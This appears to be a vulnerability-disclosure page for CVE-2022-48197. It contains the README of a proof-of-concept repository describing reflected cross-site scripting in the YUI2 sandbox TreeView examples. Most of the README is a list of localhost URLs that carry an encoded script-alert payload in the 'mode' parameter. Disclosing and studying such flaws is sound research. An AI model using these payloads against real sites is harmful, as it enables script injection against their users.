CVE-2022-48197 PoC — yahoo YUI2 跨站脚本漏洞

Source

https://github.com/ryan412/CVE-2022-48197

Associated Vulnerability

Title: yahoo YUI2 跨站脚本漏洞 (CVE-2022-48197)
Description:Reflected cross-site scripting (XSS) exists in Sandbox examples in the YUI2 repository. The download distributions, TreeView component and the YUI Javascript library overall are not affected. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

Readme

# CVE-2022-48197


Since Yahoo is no longer updating the project (per this announcement: https://yahooeng.tumblr.com/post/96098168666/important-announcement-regarding-yui), I've decided to disclose the vulnerabilities here:

The application has a lot of reflected XSS vulnerabilities in pretty much most files. A sample of the vulnerable files along with the exploit can be found here:

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

File Snapshot

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